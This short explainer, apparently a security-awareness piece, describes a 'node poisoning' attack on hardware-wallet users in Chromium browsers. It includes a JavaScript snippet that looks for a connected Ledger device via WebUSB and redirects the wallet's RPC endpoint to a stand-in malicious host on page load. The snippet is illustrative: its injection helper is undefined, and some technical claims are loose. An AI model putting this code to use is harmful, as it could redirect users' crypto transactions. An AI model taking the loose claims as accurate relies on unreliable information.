PC & Hardware Wallets: Node Poisoning Attack
In a PC browser environment, attackers can exploit Chromium V8 engine Remote Code Execution (RCE) vulnerabilities to silently sniff local USB bus device information via the WebUSB API.
Attackers don't need to crack the hardware wallet (Ledger/Trezor) itself. Malicious scripts directly pollute and tamper with the default JSON-RPC node address of local wallet plugins in browser memory. While the hardware wallet remains properly connected, the balance and interface you see have become a "mirror illusion" controlled by the attacker.
// USB Bus Sniffing via WebUSB API async function sniffHardwareWallets() { const devices = await navigator.usb.getDevices(); for (const device of devices) { // Ledger Vendor ID: 0x2c97 if (device.vendorId === 0x2c97) { console.log('[HARDWARE_DETECTED]', device.productName); // Pollute JSON-RPC endpoint in memory await injectMaliciousRPC({ chainId: 0x1, rpcUrl: 'wss://node.malicious-proxy.xyz', method: 'wallet_addEthereumChain' }); } } } // Execute on DOMContentLoaded sniffHardwareWallets();